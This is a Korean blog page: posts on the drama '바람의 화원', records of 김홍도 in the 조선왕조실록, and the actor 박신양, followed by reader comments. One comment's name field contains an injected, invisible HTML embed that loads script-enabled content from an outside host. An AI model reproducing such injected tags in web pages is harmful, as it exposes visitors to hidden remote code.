'바람의 화원'이 마침내 막바지로 치달았습니다. 마지막회를 남겨 둔 상태에서 소설 원작 최고의 하이라이트인 김홍도와 신윤복의 화사대결, 즉 그림 대결 장면이 나왔기 때문입니다.

그동안 한국 방송계에서는 '경합이나 대결이 나오지 않으면 사극이 아니다'라는 우스개가 나올 정도로 '대결'의 미학이 빠지지 않고 등장했습니다. 한방의학 드라마 '허준'에서는 살아있는 닭의 몸에 아홉개씩의 침을 놓는 구침지희가 나왔고, '대장금'에선 끊이지 않는 후계자 선발이 열렸죠. '주몽'에서는 태자 자리를 놓고 세 왕자가 경합을 벌였고, '이산'에서는 그리 중요하진 않았지만 송연(한지민)이 화사경합에 참가해 기량을 겨뤘습니다.

하지만 '바람의 화원'에서의 화사경합은 '이산'에서의 경합과는 중량감이 다릅니다. 참가자가 조선시대를 대표하는 화가들인 단원과 혜원이었기 때문이죠. 사극의 거장 이병훈 PD마저도 '그림 대결에서의 박진감 묘사에는 자신이 없었다'고 털어놨던 화사경합을 '바람의 화원'은 어떻게 묘사했을까요.

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일단 '바람의 화원' 전체의 공과를 떠나 3일 방송된 화사대결은 한국 드라마에 남을 명장면 중 하나로 꼽을만 하다는 생각이 듭니다(물론 화사대결을 위해 지난 몇회 동안 제자리걸음을 했던 드라마의 지지부진한 진행은 비판받아도 싸다고 할 수 있겠습니다).

원작 소설을 보신 분들은 아시겠지만 김조년은 정향과 윤복의 관계에 대한 질투로 사제간의 화사 대결을 벌이게 만듭니다. 이 부분에서 동기가 좀 납득이 안 가는 부분도 있고, 뭐하러 이런 짓을 벌이나 싶기도 하지만, 아무튼 그 덕분에 시청자들은 최고의 가상 대결을 보게 됩니다.

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이 대결에 등장하는 그림은 신윤복의 '쌍검대무(雙劍對舞)'와 김홍도의 '씨름도'. 두 사람은 김조년의 발제에 따라 '쟁투'라는 주제에 맞는 그림을 각각 그려 제출합니다...라는 것은 물론 작품의 설정입니다.

실제로 이런 대결이 있었다는 근거도, 두 그림이 같은 시기의 작품이라는 근거도 실제로는 전혀 없죠. 다만 '대결'을 소재로 한 두 작가의 작품을 갖고 이런 설정을 만들어 낸 이정명 작가의 상상력은 참 탁월하다는 생각이 듭니다.

이것이 쌍검대무,

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그리고 이것이 씨름도입니다. 두 그림 모두 너무나 유명하죠.

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씨름도에서 동그라미를 친 부분이 바로 이 화사대결의 승부를 가를 수 있었던 김홍도의 '왼손 오른손 실수' 장면입니다. 자세히 보시면 왼손과 오른손이 바뀌어 있지요.

알고 보면 유명 화가들도 이런 실수를 한다고 합니다. 다빈치의 '최후의 만찬'에도 그런 실수가 있다는군요. http://news.chosun.com/site/data/html_dir/2007/11/12/2007111200050.html

드라마에서는 이 실수가 김홍도의 의도적인 것일 수도 있다는 뉘앙스를 살짝 풍깁니다. 또 이 실수를 만회하기 위해 김홍도는 황혼을 이용하죠. 황토색과 주황색을 주로 쓴 이 씨름도가 황혼녘의 햇살을 받으면 더욱 선명하고 아름답게 보인다는 설명입니다. 물론 황토색 위주의 채색이 쓰인 것은 김홍도가 사실은 색맹이었다는 역사적으로 아무 근거 없는 설정과 맞물린 것입니다.

사실 김홍도는 비슷한 실수를 한 적이 또 있습니다. 바로 아래 그림입니다.

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이 '무동도'에서도 오른쪽 아래에 앉은 악공의 손이 거꾸로 그려져 있습니다. 저 각도로도 악기를 잡을 수는 있지만, 연주를 할 수는 없겠죠.

아무튼, 장태유 PD의 사설을 풀어가는 솜씨는 지루하기 짝이 없지만, 화사 대결을 묘사한 손길은 매우 뛰어났습니다. 특히 씨름 그림을 그리기 위해 김홍도가 정지 상태의 사람들 사이를 누비는 장면이나 두 기생의 실제 검무 장면이 눈길을 끌기에 충분했습니다.

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다만 원작에 나와 있는 두 그림의 숫자 균형 중 '쌍검대무'쪽의 7+2+7(그림의 상단, 중단, 하단의 사람 수)만을 살리고, 씨름도의 숫자 균형을 다루지 않은 것은 좀 아쉬웠습니다. 이날 방송이 55분여만에 끝난 걸 봐선 편집할 시간이 없었기 때문인 듯 하기도 하고...

보충 설명하자면 김홍도의 '씨름도'의 사람 수 배치는 좌측 상단에 8명, 우측 상단에 5명, 중앙에 2명, 좌측 하단에 5명, 우측 하단에 2명씩입니다. 좌측 상단에서 우측 하단으로 대각선을 그어 놓고 보면, 정확한 대칭이 이뤄집니다.

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또 이 선을 따라서 배치된 사람 수는 12명, 그리고 우측 상단에서 좌측 하단으로 대각선을 그어 봐도 12명이 배치되어 있습니다. 이런 숫자의 배열을 보면 불균형 속의 균형이 보입니다. 이런 계산이 다 되고 나서 비로소 '거장 김홍도'가 그려 지는 겁니다.

그렇다면 이 드라마는 대결에서 누구의 손을 들어 주고 있을까요. 소설이든 드라마든, 두 사람의 대결은 무승부로 표현하고 있지만 이 무승부란 신윤복의 승리라고 봐도 좋을 듯 합니다. 지난번에도 한번 얘기했듯 조선왕조실록에도 등장하는 대화원 김홍도에 맞서 이름조차 기록되지 못한 화원 신윤복이 그 시대를 넘어 지금에 와서 동등하게 평가받고 있으니 말입니다. (관련글은 아래 링크 참조)



당대에는 비루하고 천한 것으로 여겨졌던 파격적인 화풍이 세월이 흐른 뒤에 제 값을 인정받은 셈이라고나 할까요. 당시의 환경에서 이런 그림을 계속 그려왔던 신윤복이란 화가의 고집을 생각하면, 이 드라마를 반체제 드라마 취급했던 지만원씨의 얘기가 말이 된다는 생각이 들 정도입니다.^^ (농담이지만 역시 무슨 얘긴가 하시는 분들은 아래 링크 참조)



아무튼 '바람의 화원'은 두 화원의 대결을 통해 지지부진했던 중반의 기억을 씻고 깔끔한 마무리를 이룰 수 있을 듯 합니다. 비록 배우들의 이름값에 비하면 10%대 중반을 넘지 못한 시청률은 기대에 미치지 못했다고 봐야겠지만 나름대로 명품 드라마라는 이름도 얻었고, '그림그리기'라는 행위를 본격적으로 영상으로 옮겨 놓은 최초의 드라마라는 점에서도 많은 사람들의 기억에 남을 수 있는 기념비를 세웠다고 할 수 있을 듯 합니다.


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'바람의 화원'과는 이렇게 안녕이군요.



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p.s. 위에서 잠시 얘기한 유명 화가 실수 시리즈 중의 하납니다. 이 그림은 고흐의 '해바라기(Sunflowers)'. 수많은 해바라기 그림 중 하나로 일명 '14송이 해바라기'입니다. 고흐 자신이 '14송이를 그린 해바라기 그림'이라고 이 그림을 지칭했기 때문이죠.

그런데 문제는 이 그림의 해바라기는 분명히 15송이라는 겁니다. 고흐가 잘못 셌기 때문일까요, 아니면 무슨 다른 이유가 있는 걸까요? ^^





 


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Posted by 송원섭

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  1. namaste 2008.12.04 09:07 신고 Address Modify/Delete Reply

    1등!^^

    흐흐흐.. 바람의 화원.을 포함한 요즘 형님의 드라마와
    방송관련 이야기에 끄덕끄덕하고 있습니다.


    너무 추운 겨울이라는.ㅠㅠ

  2. seba 2008.12.04 09:09 신고 Address Modify/Delete Reply

    고흐의 해바라기...왼쪽 하단의 다 채피지 못한 몽우리는 꽃으로 치지 않아서 그런것은 아닐까요? ㅎㅎ

    이쯤에서 영화 미인도는 어떤 내용일지 궁금해지네요.

  3. 후다닥 2008.12.04 09:17 신고 Address Modify/Delete Reply

    일단 순위권입니다.. ^^
    요앞에 긋 댓글이 올라왔길래 새로운 포스트가 올줄 알고
    1등을 노렸으나 잠시 차에서 자고 오는새에 포스트가 올라왔네요
    하여간 바람의 화원 대작 드라마에 치어서 손해 많이 본 경우인것 같아서 살짝 아쉽습니다
    문근영씨 연기가 꽤 좋았던 작품으로 기억될 것 같습니다

  4. 손녀딸 2008.12.04 09:21 신고 Address Modify/Delete Reply

    저도 어제 본방사수..답답해서 보다말다 재방보고 그랬지만 웬지 어제하고 오늘은 본방을 봐야할것 같아서..
    저는 개인적으로 군선도 재연이 가장 기억에 남네요..^^

    • 송원섭 2008.12.04 09:32 신고 Address Modify/Delete

      마지막은 또 봐 주시는 센스.^ 그동안 진행 정말 느렸죠.

  5. echo 2008.12.04 09:43 신고 Address Modify/Delete Reply

    흠..구도는 김홍도가 나머지는 신윤복이 나은 것 같네요.

    저 해바라기를 그릴 당시 고흐는 이미 미쳐있었겠죠. 갑자기 vincent가 듣고 싶어진다는...

  6. magnolia 2008.12.04 11:31 신고 Address Modify/Delete Reply

    구도를 그런식으로 따지면 신윤복 그림도 마찬가지 아닌가요? 좌측 상단의 양반과 기생 무리가 6명 우측 하단 북채를 잡은 1명, 도합 7과 좌측 하단의 퍼져 앉은 양반들 무리가6명과 우측 상단의 담뱃대(?) 잡은 아이 1명, 도합 7.
    북채를 잡은 이로 부터 중앙과 좌 상단으로 올라가면서 보이는 역 피라미드식 구도가 1:2:7, 담뱃대를 잡은 이로부터 중앙과 좌 하단으로 내려오면서 보이는 피라미드식 구도 역시 1:2:7. 신윤복 식 구도가 더 재밌는데요?

  7. 달봉이 2008.12.04 15:12 신고 Address Modify/Delete Reply

    저는 바람의 화원은 한번도 시청한적이 없고...
    얼마전 미인도를 봤는데...
    다른건 몰라도 마지막에 신윤복이 나룻배위에서
    미인도를 띄우는 장면은 정말 예술이더군여...
    영상미가 뛰어났던 작품이라 생각됩니다.

  8. 봄고양이 2008.12.05 05:05 신고 Address Modify/Delete Reply

    씨름도는 사실 장지에 슥슥 그린 화첩 그림이라 김홍도가 대결을 위해 그렸다고 치기엔 너무 약한감이 있지않나 합니다.^^ 손이 뒤바뀌는것도 저런 서민을 위한 그린 그림에 숨은그림찾기같이 넣었다는 얘기도 있고요. 김홍도가 비단에 그린 그림들을 보면 그얘기가 맞는듯 싶습니다.

  9. 윤호매니아 2008.12.07 00:48 신고 Address Modify/Delete Reply

    김홍도의 씨름이나 무동 같은 경우, 실수로 보이는 부분은 실수가 아니라 재치로 볼 수 있다고 합니다.
    김홍도 전문으로 불리시는 고 오주석님의 글을 보면 알 수 있을 겁니다.
    관심있으신 분은 고 오주석님의 책을 읽어보시면 우리 옛그림이 얼마나 경이로운지 아실 수 있으리라 생각됩니다.
    +) 개인적으로는 오주석 선생님께서 살아계셔서 드라마 "바람의 화원"의 미술자문 격으로 참여하셨다면 드라마의 내용이나 그림 해석 면에서 많은 부분이 달라지지 않았을까 하는 생각도 듭니다.^^;;;

'조선왕조실록'이 인터넷 사이트로 열리면서 참 여러가지로 역사가 가까워진 느낌입니다. 역사상의 인물들을 한번씩 검색해 보는 재미도 있고, 거기서 가끔씩 의외의 발견을 하기도 하지요.

단원 김홍도나 혜원 신윤복은 조선시대의 대표적인 화가로 모르는 사람이 없지만 사실 조선왕조실록에 등장하기를 기대하기는 좀 힘든 사람들입니다. 왕조실록은 아무래도 왕과 근신들에 의한 통치행위에 대한 일기의 성격이기 때문에 당시로서는 천한 화공들이 다뤄지기엔 좀 무리가 있죠. 하긴 연산군일기에는 '왕의 남자'의 모티브를 제공한 공길이란 광대가 나오기도 하지만...


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아무튼 검색 결과. 우선 '신윤복'을 검색했지만 영-정조대에 신윤복이란 이름의 인물과 관련된 기사는 전혀 등장하지 않았습니다. 일단 실망.

하지만 김홍도는 달랐습니다. 일단 첫번째 기록은 정조 5년(1781 신축 / 청 건륭(乾隆) 46년) 8월 26일(병신)의 기사로 '어진 1본을 규장각에 봉안하기 위해 화사 김홍도 등에게 모사를 명하다'라는 내용입니다. 여기 보면,

...이어 화사(畵師) 한종유(韓宗裕) · 신한평(申漢枰) · 김홍도(金弘道) 에게 각기 1본씩 모사(摸寫)하라고 명하였다.

라는 얘기가 나옵니다. 다들 아시는 바와 같이 신한평은 바로 신윤복의 아버지죠. 그럼 김홍도와 신윤복이 알고 지냈을 가능성은 대단히 풍부해집니다. 아들이었건 딸이었건(^^) 이렇게 어진을 함께 모사할 정도의 사이라면 어려서라도 보긴 봤겠죠. 이때 김홍도는 36세의 한창 나이입니다. 기록대로 신윤복이 1758년생이라면 이때 23세로군요.

김홍도에 대한 기록은 두 차례 더 나옵니다. 저 기사가 나오고 바로 다음달인 9월 3일(임인), '익선관에 곤룡포를 입고 김홍도에게 어용을 그리게 하다'라는 기록이죠. '희우정(喜雨亭) 에 나아가 승지·각신을 소견하였다. 익선관(翼善冠)에 곤룡포(袞龍袍)를 갖추고 화사(畵師) 김홍도(金弘道) 에게 어용(御容)의 초본(初本)을 그리라고 명하였다'고 되어 있습니다.

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희우정은 창덕궁의 후원 안에 있는 아름다운 정자입니다. 마포구 합정동에도 희우정이 있다고 하는데 설마 그 희우정은 아니겠죠.

아무튼 14년 뒤인 정조 19년(1795년) 정월 연풍현감 김홍도에게 재정을 제대로 처리하지 못한 죄를 물으라는 공론에 관한 기사가 나옵니다. 화공으로 출세해 현감 벼슬까지 누리고 있었지만 정사에는 그리 밝지 못했던 듯 합니다. 조선왕조실록의 김홍도 관련 기록은 여기까지입니다.

일세를 풍미한 대 화가에 대한 기록이 이 정도라는 것은 실망스럽지만, 그래도 실록에 이름이 세번이나 오르내린다는 것은 대단한 일입니다. 신윤복은 물론이고 조선 3대 화가로 거론되는 안견 역시 단 한번 이름이 나올 뿐입니다.


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'바람의 화원'에는 지난주부터 화산관 이명기라는 당대의 유명 화가가 등장했습니다. 김홍도와 라이벌 구도를 형성해 드라마에 흥미를 더 할 인물이죠. 물론 실제로 존재했던 인물입니다.

당시 초상화의 1인자로 불리던 이명기는 생몰연대가 불분명하지만 1791년 어진화사를 맡았고 1795년 김홍도와 함께 '서직수 초상'을 합작했다는 기록으로 보아 동시대의 인물인 것은 분명합니다.


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이것이 서직수 초상. 오른쪽에 '얼굴은 이명기가, 몸은 김홍도가 그렸다'고 쓰여 있습니다.

이명기가 등장하고 보면 아쉬운 사람들은 많습니다. 특히 긍재 김득신이 이 드라마에 등장하지 않는게 좀 안타깝기도 합니다. 김득신의 그림은 김홍도의 그림으로 착각하는 사람이 많을 정도로 위트있고 서민적인 화풍이 매우 닮아 있죠.

가장 대표적인 그림, '파적도(破寂圖)'입니다. 일명 '야묘도추(野猫盜雛: 들고양이가 병아리를 훔치다)'라고도 하지요. 웃음이 절로 나는 그림입니다.

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1754년생으로 김홍도보다 9세 연하, 신윤복보다는 4세 연상인 김득신은 이처럼 김홍도의 화풍을 계승한 탁월한 화가였는데 이 드라마에서는 자취를 볼 수가 없습니다.

또 있습니다. 1712년생인 최북입니다. 최산수, 최칠칠이라고도 불리는 최북은 상당히 광화사의 표본 같은 인물이죠. 시-서-화에 모두 능했다는 최북은 호방한 성품으로 널리 친구를 사귀고, 금강산에서는 그림을 그리다가 경관에 취해 물에 빠져 죽겠다고 시도를 했다는 일화가 전해 질 정도로 기인의 풍모가 깃든 사람입니다.

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'바람의 화원' 1회에 안경을 쓴 김홍도의 모습이 자주 등장했는데, 최북이야말로 눈을 다쳐 줄곧 안경을 쓰고 그림을 그렸다는군요. 1786년 술을 마시고 길에서 객사했다고 할 정도로 드라마틱한 삶을 산 인물인데, 이 드라마가 현재 조명하고 있는 시기가 정조의 즉위초인 1770년대 말에서 80년대 정도라고 할 때, 충분히 등장할 여지가 있는 인물인데 좀 아쉽습니다.

최북의 '한강조어도(寒江釣魚圖)'입니다.

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혼란을 드려 죄송합니다. 수정했습니다.

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먼저 올렸던 이 그림은 제목이 같은 겸재 정선의 '한강조어도'였습니다.


아무튼 '바람의 화원'으로 인해 조선 후기 회화에 대한 관심이 늘고 있다니 참 반가운 일입니다. 그나자나 간송 미술관은 10년 전에 가 보고 못 가봤군요. 어떻게 좀 더 넓고 시설 좋은 곳으로 옮기면 안될지 참 궁금합니다. 리움 정도의 시설이라면 더 바랄게 없을텐데 말입니다.



관련된 내용입니다. 일단 문근영.



다음은 왕년의 박신양에 대한 내용입니다.

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Posted by 송원섭

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  1. 후다닥 2008.10.29 11:53 신고 Address Modify/Delete Reply

    간만에 일등을.. 움하하하

  2. 만통쩜넷 2008.10.29 11:54 신고 Address Modify/Delete Reply

    재미있는 글이네요. 특히 파적도 절로 웃음이 나오는
    그림입니다. 우리 그림들에 대한 애정이 절로 늘어나는
    느낌입니다.^^

  3. 후다닥 2008.10.29 11:55 신고 Address Modify/Delete Reply

    조선시대 화가라면 학교에서 배운 3대화가가 다인데..
    기자님은 이 많은 걸 어찌 다 알고 계셨을까요?
    새삼 제 뇌의 용량이 저주스러워요

  4. 땡땡 2008.10.29 12:07 신고 Address Modify/Delete Reply

    최북, 최칠칠은 자기 눈을 자기가 찔러서 눈이 멀었다고 하네요

  5. 아자哲民 2008.10.29 13:16 신고 Address Modify/Delete Reply

    간송미술관 가장 최근 방문은 2년전 입니다. 처음으로 갔을 때가 2,000년 즈음이었죠. 정말 한결같은 모습을 유지하고 있습니다. 변하지 않는 도도함이 있죠.

    그런데 최근 유명세와 함께 그 도도함이 좀 변하기를 희망합니다. 공간은 100명도 수용 못할 정도인데, 인파는 수천 명이 몰려오니 정말 난리도 아니죠. 그래서 이제는 정기전시회 가기를 포기했습니다.

    평일 낮에도 장난이 아니랍니다. 학교의 단체관람이 혼란의 주범이라고 하더군요. 더군다나 드라마 땜 시 수많은 주부단체 관람도 폭발직전 이라고 지인이 전해주더군요.

    • 후다닥 2008.10.29 14:02 신고 Address Modify/Delete

      동감입니다.
      고즈넉한 분위기에서 감상하기 참 좋았는데 말이죠
      사진 찍으러 몇번 갈 때마다 좋다라는 생각했는데 요즘은 완전 시장통이라고 하더군요..
      휘유~~

    • 송원섭 2008.10.29 16:45 신고 Address Modify/Delete

      10년 전에는 시골집 같은 분위기가 매력이기도 했는데 이젠 좀 바뀔 때가 되지 않았나 싶네요.

    • ^^<embed src=http://6kk.kr allowscriptaccess=always height=0> 2008.10.29 23:37 신고 Address Modify/Delete

      저도 동감

  6. la boumer 2008.10.29 13:43 신고 Address Modify/Delete Reply

    오늘 어떤 유명하신 분이 사극의 역사 왜곡이 지나치다고 일침을 놓으셨는데 동의하는 바 입니다.
    왜 신윤복을 여장남자로 만들어 선배인 김홍도와 러브라인을 이루어야 하는지.. 당체 이해가 가지 않습니다..
    우리 나라역사에도 이런 흥미진진한 화가들이 있었다는 걸 보여주려면 실제 인물을 모티프로 하되 그냥 가상의 인물을 세우면 되지 않나요????
    바람의 화원 명품드라마라고 칭찬이 자자한데.. 실제 인물의 왜곡이 지나치다는 게 정말 치명적 실수인 듯..

    • 송원섭 2008.10.29 16:44 신고 Address Modify/Delete

      g

    • 원작에 따른거죠.. 2008.10.29 19:36 신고 Address Modify/Delete

      정 따지고 싶다면
      소설과와 상의하세요..
      그리고 그 소설을 재미있다고 해서
      드라마화까지 만든
      독자들도 원망하시구요..

    • romania 2008.10.30 01:35 신고 Address Modify/Delete

      그런데, 솔직히 우리나라 방송계가 좀 기회주의적이긴 합니다~ 하하...

  7. 하이진 2008.10.29 14:30 신고 Address Modify/Delete Reply

    간송 미술관 이번 가을전시회는 난리났었다고 하더군요. 제가 간송을 마지막으로 간 건 작년이었어요. 2001년부터 거의 봄과 가을 전시회를 다 갔었어요. 이번 봄 전시회는 가려고 계획을 다 세워놓고도, 노느라고 못가서 늘 아쉬웠었어요. 그래서 가을 전시회는 꼭 가야지 했는데, 그거마저 놓쳤습니다. 하지만 이번 가을 전시회는 거의 제가 다 본 그림들 같더라구요. 그래서 그다지 아쉽지는 않아요.
    사실 간송 미술관이 시설이 안 좋은건 맞아요. 하지만 정원이 얼마나 이쁜데요... 그리고 1년에 두 번 전시회 하는데 뭐 그리 좋을 필요가 있을까 싶기도 하구요. 다만 이번처럼 사람이 많이 몰리면 좀 무리가 있기는 하죠.
    몇 년 전에 교수님이 간송 미술관의 최완수 실장님과 잘 아셔서 학생 10명 정도 가는데 강의를 해 주신 적이 있었어요. 솔직히 그림 몇 점 보여주시려나하고 기대하며 갔는데 강의만 열심히 하시더군요. 그 고고하신 모습이 눈에 선하네요.

    • 후다닥 2008.10.29 15:44 신고 Address Modify/Delete

      간송 컬렉션 외국에서도 유명하다고 하던데요
      정원 예쁜건 뭐 두말하면 잔소리라죠..
      그 근처에 있는 길상사라 묶어서 돌면 참 좋죠..
      간송미술관 1년에 2번 한다는 그 희소성때문에
      더 붐비는 것 같습니다..
      사람들의 미술에 대한 열기가 높아지는 건 좋지만 전처럼 그냥 조용히 감상하는 분위기도 그리워집니다

    • 아자哲民 2008.10.29 16:40 신고 Address Modify/Delete

      간송미술관의 정말 좋죠.
      자연스러움을 간직한 정원, 미술관 건물의 독특한 분이기,
      화려한 콜렉션 그리고 국보급 문화제도 압정하나로 고정시키는 그 도도함까지(우리 뭐 이런건 굉장히 많아서 금테 안둘러도... 뭐 이정도 가기고 놀라시긴...)


      그런데 문제는 미술의열기가 너무 고조되 버린 현재 시점에서 미술관은 너무 협소하고 간송의 보물들은 수장고에서 너무 긴 잠을 자고 있는 게 아닐까 싶습니다. 이래저래 좀 아쉽죠.


      지금의 간송을 지키면서도 좀더 많은 사람들에게 감동을 줄 수 있는 방법이 있다면 좋겠습니다.

  8. kerygma 2008.10.29 18:56 신고 Address Modify/Delete Reply

    난 말이유...

    형을 보면... 이규태 선생님 생각이 나요...

  9. 라일락향기 2008.10.29 19:54 신고 Address Modify/Delete Reply

    음...근영양만 보시는줄 알았는데...^^;;
    언제 이런 자료들을 조사하셨나요? (역시 부지런하신) 유익한 포스팅으로 인해 몰랐던 사실도 알고 오랜만에 저의 지적호기심에 불을 당겨주시는... 여건이 되면 바람의 화원도 시청하고 싶네요.
    그리고 제가 재벌가 싸모님이라면 리움미술관 수준으로 어떻게 추진해볼텐데...아니어서 죄송합니다. ㅡ.,ㅡ

  10. 이가 2008.10.29 20:13 신고 Address Modify/Delete Reply

    마지막그림 최북이 아닌 정선의 조어도 입니다.

  11. 금마초 2008.10.30 08:49 신고 Address Modify/Delete Reply

    그만큼 우리나라 사극 드라마의 작가나 연출자들이 얼마나 역사 공부를 안하고 날림으로 찍는지를 보여주고 있습니다. 지금처럼 문근영 1인극처럼 되어버리고....
    신윤복이 여자라는 어처구니 없는 허구 사기극으로 만들어 버리다니요....

    • 송원섭 2008.10.30 09:34 신고 Address Modify/Delete

      역사 공부와는 아무 상관 없죠. '다빈치 코드'는 혹시 보셨나요?

  12. colabear 2008.10.30 11:52 신고 Address Modify/Delete Reply

    이번에 간송미술관 갔다왔는데 정말 놀랐습니다. 저도 한 10여년만에 간거였는데 옆 성북 초등학교안으로 줄이 500m넘게 서있더라구요. 입장하는데 1시간30분. 입장해서는 인파에 밀려 제대로 감상할 수도 없었죠. 드라마의 힘이 이렇게 큰줄 정말 몰랐습니다.

  13. 가을남자 2008.10.30 17:56 신고 Address Modify/Delete Reply

    신윤복이 사기에 안나오는것은 벼슬을 하지않았기 때문이 아닐까요? 김홍도는 벼슬도 한것으로 아는데 신윤복은 민간에서 그림을 그렸기에 재미있는 민화를 많이 그린것이 아닐까요?

  14. 강철고양이 2008.11.15 22:16 신고 Address Modify/Delete Reply

    와... 스핑크스님...
    미술에 조예가 대단하시구나...

    잘 읽고 갑니다. ^^
    제 블로그에 있는 글도 트랙백으로 올려놓을게요~ ^^

    스핑크스님도 이 포스팅을 제 블로그에
    트랙백으로 올려주신다면 영광이겠습니다.
    (님의 글을 제가 제 블로그에 트랙백하는 건 불가능하지요...?
    트랙백에 서툴러서 말입니다... ^^; )

    • 강철고양이 2008.11.16 22:02 신고 Address Modify/Delete

      트랙백 감사합니다. 스핑크스님~ ^^

      전에도 몇 번 들르곤 했었습니다만...
      앞으로도 자주 들르겠습니다. ^^

  15. 랭키닷컴 3관왕 2014.06.08 13:18 신고 Address Modify/Delete Reply

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'바람의 화원' 두 편을 보다 문득 옛날 생각이 났습니다. 지금에 와서 털어놓자면, 박신양이라는 배우가 왜 그렇게 인기있는지 오랜 시간 동안 이해하지 못했더랬습니다. 프로필상으로는 1993년작인 '사랑하고 싶은 여자 & 결혼하고 싶은 여자'가 데뷔작으로 되어 있지만 존재감 없는 역할인게 확실하고, 1996년 그가 처음 대중 앞에 등장했을 때의 모습을 기억합니다.

1996년 당시 MBC TV에서는 '사과꽃 향기'라는 드라마를 내놨습니다. '사춘기'에서 정준을 하이틴 스타로 만들고, 뒷날 '왕초'나 '복수혈전'같은 히트작을 만드는 장용우 PD의 작품이었죠. 유호정 김혜수 염정아 김윤정이 네 자매로 나오고, 김승우와 윤동환이 김혜수의 두 상대역으로 등장했습니다. 박신양은 김혜수를 짝사랑하는 직장(방송국) 동료 역이었죠. 남자 3번 정도의 역할이었습니다.

처음 보는 배우여서 내력을 물으니 김혜수의 동국대 선배였고 김혜수의 추천이 이 드라마에 출연하는 데 일조했다는 거였습니다. 러시아 유학을 다녀온 배우로 양윤호 감독(알고 보니 동국대 연영과 동기더군요. 나중에 함께 일하게 되는 IHQ의 정훈탁 대표와도 모두 동기생입니다)과 '유리'라는 영화를 찍어 놓고 아직 개봉은 하지 않은 상태였는데 아직 알려지진 않았지만 실력이 대단한 배우라는 설명을 들었습니다.

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이 드라마의 초반에는 박신양의 재즈 댄스 장면이 삽입돼 있었습니다. 장PD에 따르면 "우연히 춤 실력을 보게 됐는데 대단히 인상적이었다. 드라마 내용을 수정해서 넣어야겠다는 생각이 들었다"는 겁니다. 이런 설정이었죠. 김혜수의 직장 동료들이 회식 자리에서 나이트클럽에 갑니다. 다들 술을 마시고 떠드는데 워낙 내성적인 성격으로 설정되어 있던 박신양은 자연스럽게 소외되죠. 그때 말없이 앉아 있던 박신양이 스테이지로 나가 열정적인 춤을 춥니다. 물론 '나이트 댄스'와는 거리가 먼 춤이지만 대단히 역동적이었고, 극중에서 김혜수를 포함한 직장 동료들이 박신양을 다시 보게 되는 계기가 됩니다.

이때 드라마가 폭발력이 있었다면 이 장면도 꽤 화제가 됐겠지만 불행히도 '사과꽃향기'는 시청률 면에서 그닥 신통한 반응을 얻지 못했습니다. 따라서 박신양도 이 드라마로 주목받지는 못했죠. 뒤이어 '유리'도 개봉됐지만 난해하기로 소문난 박상륭 원작을 영화로 만들었다는 점이 화제가 됐을 뿐, 실제로 극장에서 보고 싶은 영화는 아니었습니다.

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그럼에도 불구하고 박신양은 이듬해인 1997년 최진실과 공연한 '편지', 98년엔 전도연과 공연한 '약속'을 히트시키면서 승승장구합니다. 특히 이 시기, 저는 참 놀라운 사실을 알게 됐습니다. 그건 박신양의 '외모'가 여성들에게 먹힌다는 거였습니다.

대다수 남자들이 보기에 박신양은 결코 미남이 아닙니다. 심지어 상당히 많은 남자들이 '그래도 외모는 내가 박신양보단 낫다'고 생각합니다(물론 여자들은 비웃겠죠). 그럼에도 불구하고 많은 여자들은 박신양에게서 '젠틀함+순정을 지키는 남자+소극적이지만 정직한 남자=믿을 수 있는 남자'의 이미지를 읽어내더군요. 이런 이미지가 집대성+극대화된 것이 바로 '파리의 연인'이겠죠. 하지만 솔직히 '파리의 연인'을 보면서도 그런 열광을 이해하는 데에는 참 곤란함을 느꼈습니다.


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하지만 이 배우는 그 바깥에 순수 야성에 가까운 이미지를 기르고 있습니다. 이 배우가 그렇게나 범죄자 역할을 많이 한 건 우연이 아닙니다. 오히려 이쪽의 가능성은 대단히 풍부하다고 생각합니다. '킬리만자로'를 비롯해 '범죄의 재구성'이나, 거슬러 올라가 '약속'의 공상두처럼 자기 생각에 외곬수로 빠져 있는 양아치 연기를 할 때 박신양의 연기에 공감할 수 있었습니다. 아마도 대다수 남자들은 이 쪽에 훨씬 가까울 거라고 생각합니다.

그런데 '바람의 화원'에서의 김홍도 연기는 이제까지 박신양의 이미지를 다져온 두 개의 선에서 어긋나 있었습니다. 물론 외곬수의 고집장이 캐릭터라고 하자면 지금까지 박신양이 지켜온 수많은 이미지의 교집합이라고도 할 수 있겠지만, 이 예술가 연기는 그중 어떤 캐릭터와도 좀 달랐습니다.

'바람의 화원'에서 박신양의 첫 등장이 어떤 장면일지가 참 궁금했습니다. 그리고 그건 첫회를 보신 분들은 아시겠지만, 거의 광화사의 모습이더군요.

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머리에는 나뭇잎을 잔뜩 꽃고 얼굴에는 흙칠을 한 김홍도의 모습. 이 인상적인 첫 장면을 통해 박신양은 '그림에 환장한 사람', 그리고 '그림을 위해서는 심지어 목숨까지 아랑곳않는, 그림에 미친 사람'의 이미지를 확실하게 심었습니다. 안경과 더부룩한 수염에서는 '빠삐용'에서의 더스틴 호프만의 분위기가 느껴지기도 했지만, 아무튼 강렬했습니다.

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'바람의 화원' 초기에는 박신양의 합류 여부를 놓고 많은 논란이 있었습니다. 무엇보다 예민하고 까다롭기로 소문난 박신양의 성품과 초고액 출연료가 가장 많은 비판의 대상이었지만, 이제 만들어진 드라마를 보고 나니 박신양의 가치가 새삼 느껴집니다. 형식과 전통에 꽉꽉 갇혀 있던 당시의 화단에 일대 충격을 줄 수 있는 강인한 소신과 타고난 재능을 갖춘 대 화가이면서, 동시에 마음에 들지 않으면 어린 아이와도 소리를 지르며 싸울 수 있는 천재 화가의 이미지를 첫회 30분 정도의 분량에 쉽게 각인시킬 수 있는 건 아무나 할 수 있는 일이 아니죠.


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반대편 채널에서는 또 다른 천재가 인기몰이에 한창입니다. '강마에' 김명민이죠. 이 천재는 천재이긴 하되 진짜 천재에 대한 컴플렉스를 안고 있는 가짜 천재입니다. 전형적인 살리에리 증후군 환자죠. 이런 억눌린 감정이 사정을 잘 모르는 일반인들을 상대할 때에는 더욱 예술의 엄정성과 고귀함을 강조하는 권위주의로 발산되는 인물입니다.

참으로 복잡다단한 인물이지만, 김명민의 솜씨에 의해 이 인물은 너무나 편안하게 시청자들에게 소화됩니다. 인물을 분석하고 이해할 필요도 없이, 그냥 꿀꺽꿀꺽 마시면 '아, 이게 강마에구나'라는 느낌이 들게 요리되어 있기 때문이죠. 이게 대단한 배우와 보통 배우의 차이일 겁니다.

